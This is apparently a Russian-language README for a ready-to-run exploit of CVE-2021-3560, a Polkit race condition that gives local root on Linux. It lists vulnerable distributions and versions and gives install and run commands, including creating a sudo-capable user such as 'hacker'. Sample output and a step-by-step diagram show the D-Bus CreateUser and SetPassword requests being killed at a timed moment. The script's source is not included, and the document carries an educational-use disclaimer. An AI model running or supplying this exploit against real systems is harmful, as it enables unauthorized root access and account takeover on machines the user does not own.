
Эксплойт для CVE-2021-3560 — уязвимость локального повышения привилегий в Polkit
.--. .-" "-. .--.
/ .. \/ .-. .-. \/ .. \
| | '| / Y \ |' | |
| \ \ \ 0 | 0 / / / |
\ '- ,\.-"`` ``"-./, -' /
`'-' /_ ^ ^ _\ '-'`
.--'| \._ _./ |'--.
/` \ \ `~` / / `\
/ '._ '---' _.' \
/ '~---~' \
/ \
Автоматический эксплойт для уязвимости CVE-2021-3560, затрагивающей PolicyKit (Polkit) в Linux-системах.
⚠️ ПРЕДУПРЕЖДЕНИЕ: Этот инструмент предназначен исключительно для образовательных целей и обучения кибербезопасности в контролируемой лабораторной среде. Несанкционированное использование этого эксплойта на системах, которые вам не принадлежат, является незаконным.
CVE-2021-3560 — это локальная уязвимость типа «состояние гонки» в PolicyKit (polkit), которая позволяет непривилегированному пользователю получить root-привилегии на уязвимых Linux-системах.
Уязвимость затрагивает две ветки Polkit с разной нумерацией версий:
bfa5036 (версия 0.113)f81d021 (версия 0.105-26)| Дистрибутив | Версия Polkit | Уязвим? |
|---|---|---|
| Ubuntu 20.04 | 0.105-26ubuntu1 | ✅ Да |
| Ubuntu 18.04 | 0.105-20 | ❌ Нет |
| Debian testing «bullseye» | 0.105-31+ | ✅ Да |
| Debian 10 «buster» | 0.105-25 | ❌ Нет |
| RHEL 8 | 0.115-11+ | ✅ Да |
| RHEL 7 | < 0.113 | ❌ Нет |
| Fedora 21+ | 0.113+ | ✅ Да |
| Fedora 20 и более ранние версии | < 0.113 | ❌ Нет |
📝 Примечание: Системы с установленными патчами безопасности (например, ubuntu1.1, deb10u1) не уязвимы.
Эксплойт требует следующих инструментов (проверяются автоматически):
- dbus-send # To communicate with D-Bus
- pkexec # Part of PolicyKit
- id # To verify user creation
- openssl # To generate password hash
- accountsservice # Must be installed and active
# Clone the repository (or download the file)
git clone https://github.com/[your-repo]/CVE-2021-3560_Polkit.git
cd CVE-2021-3560_Polkit
# Make the script executable
chmod +x CVE-2021-3560_Polkit.py
Проверяет, уязвима ли система, не запуская эксплойт:
python3 CVE-2021-3560_Polkit.py --check
Пример вывода:
[*] ============================================================
[*] CVE-2021-3560 Polkit Vulnerability Checker
[*] ============================================================
[*] Detecting operating system...
[+] OS: Ubuntu 20.04
[*] Checking required dependencies...
[+] Found: dbus-send
[+] Found: pkexec
[+] Found: id
[+] Found: openssl
[*] Detecting Polkit version...
[+] Polkit version: 0.105-26ubuntu1
[+] ============================================================
[+] SYSTEM APPEARS VULNERABLE!
[+] ============================================================
[*] Debian/Ubuntu fork detected (vulnerable since 0.105-26)
Создание привилегированного пользователя:
python3 CVE-2021-3560_Polkit.py -u <username> -p <password>
Пример:
python3 CVE-2021-3560_Polkit.py -u hacker -p Password123!
usage: CVE-2021-3560_Polkit.py [-h] [-u USERNAME] [-p PASSWORD] [-c]
options:
-h, --help Show help
-u, --username Username to create
-p, --password Password for new user
-c, --check Check vulnerability without exploiting
Эксплойт использует состояние гонки в PolicyKit во время обработки D-Bus-запросов.
┌─────────────────────────────────────────────────────────┐
│ 1. Optimal timing measurement │
│ └─> Test execution to calibrate timing │
├─────────────────────────────────────────────────────────┤
│ 2. Exploitation: User creation │
│ └─> Send D-Bus CreateUser request │
│ └─> Kill process at precise moment (race condition) │
│ └─> Verify if user created │
├─────────────────────────────────────────────────────────┤
│ 3. Password hash generation │
│ └─> Using openssl passwd -6 │
├─────────────────────────────────────────────────────────┤
│ 4. Exploitation: Password setting │
│ └─> Send D-Bus SetPassword request │
│ └─> Kill process at precise moment (race condition) │
│ └─> Test login with password │
├─────────────────────────────────────────────────────────┤
│ 5. Privilege escalation │
│ └─> Login with created account │
│ └─> Use sudo if member of sudo group │
└─────────────────────────────────────────────────────────┘
# 1. Check vulnerability
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py --check
[+] SYSTEM APPEARS VULNERABLE!
# 2. Launch exploit
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py -u pwned -p Pwn3d123!
╔═══════════════════════════════════════════════════════════╗
║ CVE-2021-3560 Polkit Privilege Escalation ║
╚═══════════════════════════════════════════════════════════╝